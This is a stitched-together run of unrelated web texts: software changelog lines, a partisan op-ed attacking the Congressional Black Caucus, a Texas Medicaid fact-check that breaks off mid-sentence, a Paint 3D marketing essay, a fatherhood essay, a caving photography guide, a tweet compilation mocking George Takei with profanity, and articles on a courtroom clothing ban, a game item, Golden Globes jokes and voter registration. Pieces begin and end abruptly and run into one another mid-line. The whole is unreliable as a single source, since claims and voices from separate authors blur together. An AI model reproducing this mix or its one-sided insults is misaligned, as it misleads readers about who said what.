(933341, 942734) - Windows Store Apps: Fixed an issue where input was being queued on scene load.
(941345, 942736) - Windows Store Apps: Fixed an issue that was preventing Unity from loading if it is part of an optional store package
Revision: 4b0ddcd3f6adThe opinions expressed by columnists are their own and do not represent the views of Townhall.com.
America’s urban communities need a reformation. So why do they keep electing Democrats whose progressive policies hold them hostage on the plantation of liberal ideology?
Every week a prominent Democrat is in the news labeling their opposition as racist as if it is some sort of sport. Do you support school choice that helps struggling black parents endgenerational poverty? Racist. Call out black crime rates that disproportionately claim black victims? Racist. Criticize the welfare state that keeps black people hooked on government handouts? Racist. Are you a Republican? Automatic racist. And if you’re a black conservative like I am, it’s even worse.
No substantive conversation can take place in this environment. Liberal politicians that engage in identity politics have diluted what it actually means to call out racism. Democrats refuse to admit just how harmful their own policies are to black and other urban communities.
And oftentimes, the Congressional Black Caucus is a leading player in this putrid game. The CBC has been appointed gatekeepers by the liberal white establishment to keep blacks tethered to the plantation of liberal ideology and to go after anyone who dare escape.
Education is the vehicle to upward mobility for black people trapped in dysfunctional urban centers with high poverty rates, high infant mortality, high unemployment, and high crime involvement that results in high incarceration rates. After all, an educated black student is less likely to be involved in gangs and criminal activity. That’s something you’d never hear a liberal CBC member admit, but having spent my life serving the black community as a career law enforcement official, I have had a front row seat from which to view this urban decay.
By standing in the way of the implementation of life improving-policies like school choice, they ignore the underlying conditions that fuel black crime, chronic unemployment, welfare dependence, and absent fathers. Democrats and the Congressional Black Caucus have failed their own communities, choosing political expediency instead.
School vouchers and charter schools are a critical initiative in improving urban education systems. It’s a winning policy. School choice has had a positive impact on student performance, which translates to educational and professional success. By allowing schools to compete for students, teachers and curriculum improve, parents are empowered, and students are given a chance to succeed. It helps break the cycle of poverty and get people off of welfare. With a proven record of success, school choice is exactly what black communities need. Sadly this isn’t even a part of the CBC platform.
There’s a reason why Democratic politicians are against it: they recoil at the thought of empowering parents or anybody else. Empowered individuals do not need big government or its supporters.
How do these politicians ignore the role of their bad policies in these deteriorating communities? With the help of an accomplice – the liberal media – they can hide the dirty little secret of failed urban policies.
With school choice advocates President Donald Trump and Secretary of Education Betsy DeVos on board, now is the time to ensure better education for black communities. Unfortunately, the CBC and Democrats continue to push back against such reforms. In fact, they’ve manipulated the issue by labeling school choice advocates as racist. But the question remains: by preventing school choice – a policy that directly benefits black communities – are Democrats and liberal members of the Congressional Black Caucus really trying to help black communities?
Unfortunately, this isn’t the only policy they’re wrong on.
Every time one of our nation’s cities gets ransacked by riots, the CBC sides with radical groups and calls for greater restrictions on law enforcement. These politicians have no idea how dangerous their actions are to our communities. Or do they? They fail – yet again – to address the underlying issues: education, stable family structure with involved dads, and encouraging the adoption of a more mainstream lifestyle.
Be it in Ferguson, Baltimore, or Berkeley, liberal politicians respond to violent protests by standing with insidious groups such as Black Lives Matter and Antifa. The FBI now considers them domestic terrorist groups. These are groups that, by definition, use force and the threat of force to achieve their radical political agenda. Enabling these cop haters and standing by their side does not strengthen the black community, it perpetuates racial tension and ignores the reality that Democratic policies have destroyed American urban communities. It is the “nothing-to-see here and move along” strategy.
By standing with such groups, Democrats and the CBC are telling them that it’s OK to continue making questionable lifestyle choices like dropping out of school, having multiple kids with different parents, drug and alcohol abuse, and gang involvement. These flawed lifestyle choices prove catastrophic.
The congressional districts in which these protests occur are represented by liberal Democrats, as is the case with Rep. Elijah Cummings and Maxine Waters. As members of the Democratic Party and the CBC, Cummings and Waters join many of their fellow liberals in combating school choice initiatives and propping up the welfare state.
But when issues of urban violence, education, and economic opportunity arise, you don’t find these politicians debating actual policies that solve these problems. You find them manipulating the issue and labeling Republicans who offer remedies as racist. There is no accountability, and unfortunately, these politicians use the black community to hold on to political power and nothing else.
Come election time, the black community needs to send a message to the CBC that they won’t be exploited any longer. President Trump successfully appealed to black voters in the 2016 election, with an increased number of black Americans voting for him while others helped him win by staying home. Hopefully that pattern continues in the 2018 midterms.
Sheriff David Clarke now serves as a Senior Advisor and Spokesman for America First Action, dedicated to supporting the Trump/Pence agenda. He recently retired as the Sheriff of Milwaukee County after nearly 40 years in law enforcement.Discussing the chances that state Sen. Leticia Van de Putte, D-San Antonio, might run for lieutenant governor, state Democratic chairman Gilberto Hinojosa said she has support among veterans who haven’t been part of his party’s base in the past.
"(I)n the state of Texas, especially with Republicans, with Rick Perry refusing to accept the hundred billion dollars in expanded Medicaid, there's 40,000 veterans in the state of Texas that are not going to receive health care as a result of that decision," Hinojosa said in a Sept. 25, 2013, interview on the YNN cable news channel’s "Capital Tonight" show.
Gov. Rick Perry told the federal government that Texas would not expand its Medicaid eligibility to cover more low-income residents, a key Obamacare initiative, in a letter July 19, 2012.
It’s not clear that federal reimbursements for those new Medicaid enrollees would have reached $100 billion over 10 years; in an April 2013 fact-check, we found a $90 billion estimate wrongly included $11.6 billion that Texas would get whether it expanded Medicaid or not.
Since then, Perry has altered his stance: In a Sept. 16, 2013, letter, he directed the state health commission to ask for a lump sum of money (instead of getting federal dollars for each patient) plus the flexibility to use Texas’ own criteria to determine who qualifies.
We wondered how Hinojosa concluded that rejecting expansion would deprive 40,000 Texas veterans of health care.
Democratic Party spokeswoman Tanene Allison told us by email that Hinojosa’s claim was based on a March 2013 study by the Washington-based Urban Institute that analyzed Census Bureau data to estimate how many U.S. military veterans aged 19 to 64 in the U.S. don’t have insurance. (Veterans 65 and older qualify, like other Americans, for Medicare.)
"According to the analysis," Allison said, "the 48,900 uninsured veterans in Texas whose income is below 138 percent of the federal poverty level could qualify for Medicaid or new subsidies for coverage under the Affordable Care Act if the governor of Texas expands Medicaid."
On Aug. 6, 2013, our PolitiFact Georgia colleagues checked a statement based on the same study from the institute, which they said described itself as a nonpartisan research center although its leadership includes several former Clinton administration officials. That PolitiFact story rated as True a claim that by rejecting an expansion of Medicaid under the Obamacare law, Georgia was depriving 25,000 veterans of health care coverage.
Medicaid is an insurance program operated by states in partnership with the federal government, aimed at reimbursing doctors who care for patients in low-income groups such as elderly and disabled people, children and pregnant women.
Obamacare included a provision that federal money would cover all costs for the first three years for states to extend Medicaid to households earning up to 138 percent of the federal poverty level — which in 2013 is $15,865 for an individual, $32,499 for a family of four.
In Texas, about 1 million adults were on Medicaid in January 2013, according to the website of the state Health and Human Services Commission, which administers Medicaid. Most were eligible because they were pregnant, disabled, older than 65 or raising children on a household income that was below the federal poverty line.
If Texas went along with Obamacare’s Medicaid expansion provisions, the state commission’s most recent estimates, from 2012, predict another 341,000 Texas adults would get on Medicaid in 2014 -- reflecting people who earn less than $15,800 a year (for a one-person household) but weren’t already qualified to get Medicaid for another reason.
In a May 2012 report, the Urban Institute said 130,000 non-elderly veterans in Texas have no health insurance -- about 8 percent of the state’s veterans and 13.1 percent of its non-elderly veterans.
The institute based its estimate on the U.S. Census Bureau’s 2009 and 2010 American Community Surveys, adjusted to correct for suspected errors such as high reports of private coverage among low-income families. To describe income groups, the researchers used modified adjusted gross income, the measure that will be used under the Obamacare law.
Of those 130,000 non-elderly Texas veterans, the institute’s March 2013 study said, 48,900 earned less than 138 percent of the federal poverty guideline.
State health commission spokeswoman Stephanie Goodman emailed us a lower number: 42,771, based on the 2011 American Community Survey.
So it looks like more than 40,000 non-elderly veterans would be eligible, total, if Texas expanded Medicaid to all adults earning less than 138 percent of the poverty guideline.
Hinojosa said those veterans "are not going to receive health care." Experts told us, however, that some might already be eligible for Medicaid or for health care through the federal Department of Veterans Affairs.
Under Texas’ current Medicaid rules, Goodman said, some of the veterans could be eligible because they are pregnant, have a disability or are raising children on a below-po |
charge into mixed (virtual and augmented) reality. With these tools, Microsoft's creating a robust platform for creators of varying skill levels. Sadly most "regular" consumers don't know any of this. Even those with the Creators Update may be unaware of Microsoft's reimagining of a Windows classic, Microsoft Paint, with Paint 3D:
Paint 3D makes "creating" on a Windows PC using touch and a pen an entirely new and robust, yet simple experience. Furthermore, as part of Microsoft's strategy to implement 3D throughout Windows and to bring 3D to everyone it is core to Microsoft's vision for the Creators Updates. It's therefore ironic (even confusing) that Microsoft isn't doing more to promote Paint 3D to consumers. Microsoft, you get out what you put in Microsoft's repositioning of Windows as a creators and mixed reality platform, implementing system-wide inking, and refocusing on gaming with game mode and Mixer are a reflection of it's attempt at a renewed commitment to consumers. Sadly, most consumers have no clue Microsoft has made that commitment. Nor do they realize Windows is being reimagined as a platform to appeal to the creator in all of us. If Microsoft's relying on users discovering new Windows features, and subsequently understanding and then embracing its creators vision, the company may be unpleasantly surprised when that doesn't happen. Microsoft, you gotta show 'em
Microsoft's challenge as a historically enterprise-focused company is communicating with consumers. According to Chief Marketing Officer Chris Capossela, the company has focused on a marketing strategy which relies on the integration of products as a means to promote other products. Think Skype integration in Office. This marketing strategy relies on users discovering one product by using another. It's not the aggressive "in your face" marketing method that's needed to introduce consumers to and educate them on Microsoft's expanded vision of Windows-as-a-creators-platform. Microsoft hasn't abandoned its forte; it's simply positioned new creation tools alongside the familiar productivity-focused tools like Office. Just as Microsoft historically equipped consumers for traditional productivity, it now also sees us as creators and is equipping us accordingly. Paint 3D is just part of the picture Ben Reed of Microsoft's Windows Next Generation Experiences Team demonstrates how Microsoft is "enabling the creator in all of us" with Paint 3D in the video below:
Paint 3D's a familiar yet powerful tool that Microsoft can market to introduce its "creators" vision to the masses. This isn't just about Paint 3D, however. It's about Microsoft taking the initiative to tell consumers about Paint 3D, mixed reality, gaming and more which are part of its expanding vision for Windows. Rather than hoping consumers will discover these new features Microsoft must be proactive in establishing mindshare for each. And a little child shall lead them Windows Chief Terry Myerson expressed that the next generation of children inspired the creators vision for Windows.
We're thinking about each of us as creators... a distinct inspiration has been watching today's younger generation and the trends in how they're embracing computing. My interaction with CAD came when I was in mechanical engineering school. And these kids are so fluent and interactive in really quite rich 3D concepts.
Myerson observed children's affinity for and fluency with complex 3D content creation and sharing. He also shared that children are an indicator for what's coming next in personal computing. Microsoft is, therefore, building features into Windows that are forward-looking and currently relevant as seen here:
The skills displayed by Microsoft's partners in the above video may intimidate those who don't fancy themselves as an artist, musician or some other professional creator. However, whether we're using Windows to create a symphony, painting, sketch, PowerPoint or even a document Microsoft says we're all creators. How will Microsoft convince the masses of this vision? Windows and Office trickled from the enterprise to homes organically. It was also virtually unchallenged; thus, aggressive marketing wasn't required. That strategy won't work here. Paint 3D, the bridge to Microsoft's creators vision
In a personal computing past dominated by traditional enterprise and desktop productivity, Microsoft Paint was fun and useful but also intentionally overshadowed by Office. Today, content creation and sharing are parallel to traditional productivity, thus Microsoft's vision ideally gives Paint 3D a front row seat in Windows. Paint 3D embodies Microsoft's mission to make Windows a creative platform for everyone. It's available to the masses, easy to use, allows 3D creations to be integrated into other products and with Remix 3D, provides a community for users to share creations. It's an easy onramp to Microsoft's modern vision for Windows. Moreover, as a tool for creating 3D objects, it opens the door to Windows Mixed Reality. Mainstreaming 3D with smartphones Microsoft even created a mobile app called Windows Capture 3D Experience. The cross-platform app (with the consumer-unfriendly name) will allow users to scan an object with their phone's camera to create a 3D representation of that object that can be edited, integrated into other programs and shared. Microsoft's General Manager, Megan Saunders, demos this app on an HP Elite x3 in the video below:
The app isn't yet available, but it demonstrates Microsoft's innovative vision. The ability to use smartphones to memorialize 3D representations of experiences and ultimately edit and share them as easily as we routinely do 2D images is a big step forward. Unfortunately, Microsoft is slow to bring products to consumers and may be beaten to market by rivals. Appeal to kids, parents will follow Microsoft needs to become aggressive in making consumers aware of its creators vision and Paint 3D's role in it. Children, the inspiration for the updates, may be the key. Most parents have experienced their child's incessant begging for some toy or food they saw advertised or a friend has. Advertisers who target children know that by creating demand with kids, adults with purchasing power subsequently become aware of a product and may potentially purchase it. Microsoft already knows that children have an affinity for creating, manipulating and sharing 3D content. The company needs to appeal to that quality with an aggressive campaign that promotes Paint 3D and Microsoft's creators vision for Windows.
Microsoft's campaign should showcase use cases that appeal to both children and adults as seen in the YouTube video above. Children's demand for the product will increase adult's awareness of the same. Paint 3D, the path to Windows Mixed Reality Though informative, Microsoft cannot rely on YouTube videos to convey its vision. The viewers of those videos are primarily techies who search for or happen upon them in tech articles. To reach ordinary consumers, Microsoft must "force" TV commercials in front them. Additionally, as the herald for Microsoft's 3D-for-everyone strategy, Microsoft's marketing of Paint 3D would be a push for its Windows-as-a-creators-platform and mixed reality vision. Saunders said of capturing 3D objects from the real world:
Edit it in Paint 3D... bring it back into your world as a hologram or take it into a virtual world.The Sellout
The Father
Alex Perez Blocked Unblock Follow Following Jul 12, 2017
“You are going to be a father”
The thought sparks a deluge of conflicting emotions in me. I was at work when I got the news and had to excuse myself for the day. I didn’t feel panic, or fear, what I did feel however was an overwhelming need to get back to my fiancee. I got home and took her in my arms. We both knew immediately that we were going to keep it, there was never a question about it. In an ideal world, would we have waited another 4–5 years? You bet your ass we would have. Unfortunately for us, we are far away from any such present. That being said, the two of us, standing in our bedroom, holding one another with nought a fucking clue as to how we were going to pull this off, couldn’t have been happier.
Over the next few months the enormity of the situation really began to set in. Suddenly the world was full of hazards. Our favorite snacks were now carriers for a bevy of nefarious preservatives and color dyes, casual walks to the dog park became expeditions worthy of Everest. We once made the innocent, foolish decision to go out after a snowstorm to see the dogs frolic, the harrowing descent down the icy, slow-clogged steps haunts us both to this day. Life was changing drastically for us both in very different ways. This new responsibility, while a welcome challenge, was beginning to the take its natural toll. For me it manifested in the form of artistic compromise.
I am a creative person. Like many creative people the creative things I like to do don’t make much (any) money. In fact, most disciplines require you invest a great amount before you start to see any return, but that’s not why we do it, right? We do it because it feels good and has something to say. In this new circumstance however, I can’t be running off 25 hours a week to come back empty handed. It’s a cruddy way to feel. If my acting school self heard me now he’d probably call me a sellout or coward. To some degree he’d be right, but he doesn’t know what I know.
Prior to the pregnancy my fiancee had a good gig going walking dogs for a wealthy couple on the Upper West Side. She continued the first couple of weeks after finding out but eventually relinquished her position after one tugging incident too many. This was temporarily okay as I had a decent position that could hold us over until she found something that allowed her to work remotely.
On a late January afternoon just a few days before my twenty-fifth birthday I was on top of the world. I was having a baby with my best friend. I had a job I loved in the industry of my choice that was stable and paid the bills. I loved the people I worked with and had my eyes set on transitioning to a more creative position in the next couple of years. That was when one of the HR Reps came to my office and asked me to go with her to speak to our boss.
I was being laid off.
This sent me spiraling. As much as I tried to keep my chin up, I spent the remaining weeks lumbering in the halls like a ghost. My company tried their absolute best to soften the blow, going so far as to buy me a suit to interview in. I had until the beginning of April to find something before they had to let me go. This gave me fleeting relief.
While I am a very popular interview candidate not a single offer has come down the pipeline. It is now May and prospects are not looking great. The last few weeks have found my fiancee and I staring down some stark realities that we were maybe a little bit in denial about before. Namely that of moving back in with my parents which, while comfortable, would be a massive blow to the both of us. Nothing against my folks, in fact, they’re fantastic and we would get all the help we needed but we worked hard to establish a life for ourselves and we do not plan on going gentle into that good night.
I was fortunate enough to qualify for a reasonably generous unemployment sum so I can apply for other jobs from home. It’s been rather pleasant if I’m being honest. Getting to spend time with with my fiancee and bond with the little one is a silver lining I don’t take for granted. This lull in activity has given me time to reflect on how I am going to direct my life going forward. The biggest realization being that I do not have to forsake my artistic pursuits just because I am having a child. While I can’t be writing and opening a new play every 6 months, once the child grows up, there will be plenty of time to do what I want. The world feels like it’s falling apart, but I’m actually shedding skin. Sure, maybe I didn’t plan on taking on a job in facilities or office services, but that job is hopefully going to fund a lifetime of opportunity and happiness for my child. And who says that’s a dead end anyway? With any luck they will see their old man become a successful writer and be imbued with the confidence to tackle lofty pursuits of their own. When they inevitably face their darkest days, I can advise them with assurance that they have all the tools they need, it’s just a matter of seeing it through — inch by agonizing inch.
While the past few months have been some of the most intense stretches of life I’ve ever experienced, my existential struggles pale in comparison to the physical and emotional load my beautiful partner has bore. We are lucky to have what appears to be a perfectly healthy baby, but pregnancy does not play games. This is hard for anyone but more so for people like my fiancée, a fiercely independent individual, who has now been stripped of many basic movements such as leaning or bending down. In caring for her I realize how puny my personal problems are in comparison to my desire to see her and the baby comfortable and happy. I know deep down what really matters to me now.
Shifting priorities can sting. Admitting something that once held so much sway as no longer important felt like a betrayal to myself, the art form, and the community I grew with. An inability to realize that isn’t true would have been a betrayal to my life. Shit happens, we adapt and then figure out what’s important to us; the trick is telling yourself the truth.Going Underground With Your Digital Camera
By Jerry Walch, 21st Sep 2010 | Follow this author | RSS Feed | Short URL http://nut.bz/1ip_jq0r/
Posted in WikinutGuidesArtPhotography
Try something new, become a spelunker, and record your subterranean adventures with your digital camera. Spelunking is an exciting hobby. I have even known some people who have overcome claustrophobia by taking up spelunking.
Introduction
Everyone has heard about extreme sports, well, beginning with this article, I am going to introduce you to extreme photography. Go where you have never gone before with your camera, go underground. Go a spelunking. I am not talking about visiting sites like Howe's Caverns or some other such tourist site. I am talking about finding a hole in the ground and crawling in it with one or two companions and your camera. Join a spelunking club and team up with an experienced spelunker for your own safety.
Subterranean Photography
Subterranean photography is like no photography that you have ever done above ground. Spelunking will not only challenge you physically; it will challenge you as a photographer. There will be many new skills and techniques to learn. How challenging will it be? Lighting will be one of your biggest challenges. Think of it this way, in many cases, it will be like trying to light a football field with only a single candle. Are you up for the challenge?
Your spelunking partner doubles as a photographer's assistant.
I have found a willing assistant to be invaluable to photographing caves because of the techniques I employ.
Painting with light
My favorite light for subterranean photography is Lithium powered flashlight. My partner "paints" the area I am photographing with the flashlight. When I am photographing a large area, the light is swept smoothly back and forth over the entire area for the duration of exposure. The light must be kept moving to avoid odd-looking highlights. When I am photographing small, detailed areas, only a little "painting" is required. "Painting With Light" requires considerable communications and coordination between you and your assistant.
I have also used an off-camera flash to fill in the shadows, but the results were never as polished or as consistent.
Position the light as far from the camera as possible.
You need to separate the Lithium flashlight as far from the camera as possible. If the painting light and the camera are at the same angle to what you are photographing, the resulting picture will have a 2D effect.
The problem of "White Balance"
The color temperature of light in caves can vary considerably, so I usually shoot with my camera set to "Auto White Balance."
Shoot in the RAW
Shooting in the RAW is always best if your camera makes that file format available to you. In the RAW, your camera records a wider range of colors and records them just as the sensor sees them.
Basic equipment
Besides the high-powered Lithium flashlight, you will need a tripod and two zoom lenses, one in the 20 to 100-mm range and the other in the 100 to 200-mm range. The tripod is mandatory because most exposures will be in the 20 to 90 second range.
What about tourist caverns?
You can take some exciting pictures there too and there are over 200 of them in the United States. There is always an element of danger when you go crawling into an unknown hole in the ground so if you are looking for the safe route to cave photography take the tourist cavern route. Carlsbad Caverns and Mammoth Cave National Parks are two good ones to visit for the photographer.As our readers know, actor former “Star Trek” actor George Takei has taken melting down over President-elect Donald Trump to epic levels.
Our president must act presidential, each word measured and supported. You, sir, are a disgrace and an embarrassment. https://t.co/GA9mBMt1Iq — George Takei (@GeorgeTakei) November 27, 2016
Outrageous. Millions?! They have never found evidence to support this. With each utterance, our minority-president elect simply sickens me. https://t.co/GA9mBMbqQS — George Takei (@GeorgeTakei) November 27, 2016
Someone please pop in and make sure he’s OK! What if he doesn’t have a safety pin to wear for protection? Good grief. He must be shooting for the most embarrassing Twitter feed ever. Here are a few more recent examples of his “hot” takes (and by “hot,” we mean “petulant”):
Trump picked Ben Carson as HUD Secretary. In related news, U.S. hospitals admitted dozens for head injuries due to extreme facepalming. — George Takei (@GeorgeTakei) December 5, 2016
Trump's offhand, factually incorrect tweet about Boeing and Air Force One wiped a billion off share value. He's too reckless for the office. — George Takei (@GeorgeTakei) December 6, 2016
Trump is naming ideologues and incompetents to his inner circle. Six are hardline anti-LGBT, and his EPA pick is a climate change denier. — George Takei (@GeorgeTakei) December 8, 2016
Taking a page from GLAAD’s book? Lose that pitiful and erroneious talking point, buddy.
Trump is the 1st incoming President to support gay marriage. But GLAAD needs money >> https://t.co/DmPpIu5NMB — Richard Grenell (@RichardGrenell) December 7, 2016
Ooops! But, wait. There’s more.
Now Trump blames the union for job losses. But I thought he said it was NAFTA? His true colors are shining thru, and they are dull and ugly. https://t.co/rvXDNIWJxK — George Takei (@GeorgeTakei) December 8, 2016
Devil horns, monster shadow, unretouched bald spot, delapidated chair, literally resting on laurels…Trump trolled by Time. h/t N. Freedman pic.twitter.com/4tRAHvJ3ul — George Takei (@GeorgeTakei) December 8, 2016
Obviously, because you have straight up hate-tunnel vision. Takei’s current feed is almost all Trump whines or wilfully ignorant NRA snit fits. Nearly every single one of his tweets has “Trump” in it with some sort of stompy foot wail.
Very bad news for planet Earth and climate change. https://t.co/3Gj8webWsK — George Takei (@GeorgeTakei) December 7, 2016
Hey, why don’t you give the mock-tastic drama queen Dan Pfeiffer a call about THAT one? And then there’s this:
@redsteeze Oh, but @GeorgeTakei said people are "melting down", without providing any examples, naturally. — John Blackout (@SageCommander) December 4, 2016
Oh, the irony!
@SageCommander @GeorgeTakei I guess if anyone knows anything about meltdowns this past month it's him. — Stephen Miller (@redsteeze) December 4, 2016
Worse?
Oh, cupcake. Take your own advice!
Dear Twitter, Please delete then ban @GeorgeTakei's account as his calls for violence & hate are harmful to Americans!#BoycottGeorgeTakei — CindyA (@Harmony_Nation) December 3, 2016
You used to have an enjoyable timeline. Now you're just a paranoid citizen. Perhaps you should sign off twitter & hide for 4 yrs George. https://t.co/8SQDfDenRz — MyOpinionMatters (@MyOpini84950163) December 5, 2016
Seriously. SAD! (Just to rub it in a bit more, Mr. Takei. Because I need more of your delicious tears for a lib-tear koi pond I’m creating.) Citizens have pretty much had it with Takei’s bitter, puerile petulance.
Get it together @GeorgeTakei. This "insert ideology regardless of facts" is exhausting. It's also embarrassing. Just stop it. https://t.co/71EimeDYjA — Dan DeLamater (@DanDeLamater) November 29, 2016
@GeorgeTakei really? It seems you and and a bunch of hurt baby's melting down. What happened to accepting the results and moving on? — jake greenway (@greenwayjake) November 27, 2016
@GeorgeTakei how can u not see that YOU are melting down? U just ignore your critics bc then I feel like u r never wrong — Dino (@dinok1975) November 27, 2016
@GeorgeTakei make up your mind! Its either he isn't saying anything or he is melting down! https://t.co/H8PSa7fcEX — Sally Wingles (@SallyWingles) November 27, 2016
@GeorgeTakei Dude you've been'melting down' since the election results. — Biff Kelliher (@BreakingBiff) November 27, 2016
Precisely.
Saying "something bad happened to me once, and therefore none of your arguments are ever valid" is a good way to get people to ignore you. https://t.co/b9yTRDnV92 — neontaster (@neontaster) December 4, 2016
My God, @GeorgeTakei, I put up with your shit because I am AJA, too, but as of today, you need to stop embarrassing yourself. https://t.co/PEGC9ppvoF — Man-Made Material? (@ManMadeMaterial) November 29, 2016
Boeing's stock closed UP.??? I love it when snide leftist celebs are exposed as the idiots they are. https://t.co/6DklUEDf9S — BAH! Humbuggery…? (@thehiredmind) December 6, 2016
Would you shut the fuck up already? Every day with this garbage. Go make a fucking movie or something. Jesus Christ. You're obsessed. https://t.co/ECBNp3Niib — neontaster (@neontaster) December 6, 2016
Heh.
@GeorgeTakei @LeslieMarshall @realDonaldTrump the progressives response after the election is equally as embarrassing. — Richard Ascher (@rascher5200) November 28, 2016
@Corporatocrazy I'm beginning to see why the rest of the Star Trek cast hate @GeorgeTakei — DeplorableCowboy (@SurburbanCowboy) December 2, 2016
Some folks should stay off of Twitter. You are one of them George. https://t.co/RymvKmsIxX — Jerry Jones (@Bud_Doggin) December 6, 2016
Indeed. A quick question for Mr. Takei:
Why do you keep insisting Trump only select cabinet members that follow Dem ideals? You lost? @GeorgeTakei — Mark Kern (@Grummz) December 5, 2016
Sore losers just can’t handle the truth. Plus, what does Takei know about everyday Americans anyway?
.@GeorgeTakei @ezlusztig your normal is not the rest of the country's normal. people in bubbles forget about other people — why trump won. https://t.co/JwLCcwoLUD — WarHorse Eons Ago (@basstransfer) December 3, 2016
Winner winner, chicken dinner. And some exit advice, since apparently social media is hard for Mr. Takei:Spread the love
Worcester, MA – Four Black Lives Matter (BLM) protestors, charged with disturbing the peace, had their trial date postponed until January 2016. However, the real story that came out of the hearing was the fact that Central District Court Judge Robert Pellegrini ruled that the protesters are banned from wearing clothing with the words “Black Lives Matter” on them in his courtroom.
“How is saying Black Lives Matter on a t-shirt or sweatshirt in a courtroom illegal or somehow disallowed and still have my free speech protected? This whole process is just so demonstrative of the disconnect between the law on paper and the way that the law is actually practiced,” defendant Julius Jones said
The idea that three words written on clothing could disrupt a courtroom is patently absurd. The activists have all plead not guilty and contend that the ruling violates their 1st Amendment right to free speech.
According to a report by The Daily Kos:
Sonya Conner, Kevin Ksen, Robert Blackwell Gibbs and Julius Jones were appearing before the judge when he noticed Jones was wearing a white sweatshirt with the words “Bulletproof. Black Lives Matter” in gold lettering.
Pellegrini then ruled that words Black Lives Matter would not be allowed on any clothing in the courtroom, as it sends a political message.
“What’s funny about it is it’s four words on a shirt, one is bulletproof, and the other one is Black Lives Matter and it’s considered a political statement, but I think more than that what the judge’s behavior seemed to show was that he felt and seemed like it was offensive to him in some kind of way. And I’m not exactly sure why he was offended by it, but that four words could disrupt a court in such a way was impressive to me,” said Jones, who went on to say that the order “struck him as illegal.”
The attorneys for the protesters subsequently requested that officers testifying during the trial be disallowed from wearing their police uniforms, as that also sends a political message. The prosecution agreed to the request.
The controversial apparel, created by Damon Turner and FOREMOST, both artists and BLM activists, is meant to be “a statement that transcends race, social identity, or class … BULLETPROOF was born to represent the fearlessness found when people are unafraid of the powers that oppress them,” according to the website for the shirts.
While it is common practice for clothing that is deemed a security risk or unprofessional, such as shorts, flip flops, or obscene messages on clothing, the banning of attire that simply states that Black Lives Matter seems to push the boundaries of legitimacy.
I wonder if a confederate flag on a t-shirt would get the same treatment from Pellegrini?
Jay Syrmopoulos is an investigative journalist, free thinker, researcher, and ardent opponent of authoritarianism. He is currently a graduate student at University of Denver pursuing a masters in Global Affairs. Jay’s work has been published on Ben Swann’s Truth in Media, Truth-Out, AlterNet, InfoWars, MintPress News, as well as many other sites. You can follow him on Twitter @sirmetropolis, on Facebook at Sir Metropolis and now on tsu.From Team Fortress Wiki
“
The Heavy building his own building his own Linux From Scratch system. Да, this will work! ”
Tux is a promotional cosmetic item for all classes. It is a stylized version of the Linux mascot, Tux the Penguin, worn on the character's belt.
This item has three styles, "Normal", "Demoman" and "Pyro". While the Demoman style simply gives Tux an eyepatch on his left eye, the Pyro style removes his head completely and replaces it with the Pyro's gas mask, as well as changes the flippers to be grey and boot-like.
This item was awarded to players who launched Team Fortress 2 using any Linux distribution between February 14th, 2013 and March 1st, 2013.
The Tux was still obtainable in-game past the original stated date. It was not until mid to late-March that the Tux finally became unobtainable.
Although initially promised[1] to become tradable once the promotion was over, the Tux has not been made tradable and it is unknown whether it will eventually become tradable or not.
When players equipped with this item kill an enemy unassisted by another player, the killfeed shows everyone in Pyroland that it gets the assist, with its custom name if it has one.
Pyroland Demonstration
Styles
Styles Normal Demoman Pyro
February 14, 2013 Patch
Added Tux to the game.
February 22, 2013 Patch
[Undocumented] Tux now counts as assister in Pyroland.
September 17, 2014 Patch
Added the Limited attribute to the Tux.
Bugs
Tux seemingly floats near the waist when equipped on Scout.
Trivia
Tux's name is derived from the acronym " T orvalds' U ni X," after Linux kernel developer Linus Torvalds and the Unix operating system.
orvalds' ni," after Linux kernel developer Linus Torvalds and the Unix operating system. A tuxedo, or "tux" for short, is also casually referred to as a penguin suit.
Gallery
Scout
Soldier
Pyro
Demoman
Heavy
Engineer
Medic
Sniper
Spy
Tux Penguin in the "Team Fortress 2 Welcomes Linux" promotional page.
Heavy holds many Tux Penguins in the "Team Fortress 2 Welcomes Linux" promotional page.
Announcement on Steam Store page during Steam for Linux release, featuring Tux.Host Jimmy Fallon mocked President-elect Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE several times during the opening monologue of the 74th annual Golden Globes on Sunday night.
Over the course of four minutes, Fallon compared Trump to the menacing and murderous King Joffrey from “Game of Thrones,” joked about Trump’s difficulty finding inauguration performers and said the ceremony, unlike the U.S. electoral system, still valued the popular vote.
“This is the Golden Globes: One of the few places left where America honors the popular vote,” Fallon said.
Fallon then compared Trump to Joffrey, who was killed previously on the show and was known as one of its most villainous characters.
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“[Game of Thrones] has so many plot twists and shocking moments, a lot of people are wondering what it would be like if King Joffery had lived. Well, in 12 days we’re going to find out,” Fallon said.
Fallon also joked that the results of the award show "were carefully tabulated by the accounting firm Ernst and Young and Putin."
Fallon also pointed to the Meryl Streep film “Florence Foster Jenkins,” a biographical comedy about a terrible opera singer.
"The character has been dubbed the world’s worst opera singer, and even she turned down singing at Donald Trump’s inauguration,” he joked.
Fallon made headlines last year when he invited Trump on his late night talk show and asked to tussle his famous hair.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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In July 1976, while appearing with civil-rights icon John Lewis, Jimmy Carter proposed automatically registering to vote every eligible American once they turned 18, which he said would “transform, in a beneficial way, the politics of our country.” Ad Policy
Carter’s ambitious plan never became law, but 39 years later, states like Oregon and California are embracing automatic voter registration as a bold new voting reform, potentially adding millions of new voters to the rolls. It’s a trend that warrants more attention, especially as the country celebrates National Voter Registration Day today.
The Voting Rights Act of 1965 and National Voter Registration Act of 1993 enfranchised millions of new voters. After passage of the VRA, for example, the number of black registered voters in the South increased from 31 percent to 73 percent. Despite these landmark laws, 51 million Americans—1 in 4 eligible voters—are still not registered to vote. “Among eligible voters, some 30 percent of African Americans, 40 percent of Hispanics, 45 percent of Asian Americans, and 41 percent of young adults (age 18-24), were not registered to vote in the historic 2008 election,” according to Demos.
During the 2012 election, the United States ranked 31st of 34 developed countries in voter turnout. Yet 84 percent of registered voters cast ballots. The US doesn’t have a voter turnout problem; we have a voter registration problem. Our turnout is abysmal because so many eligible voters are not even registered to vote.
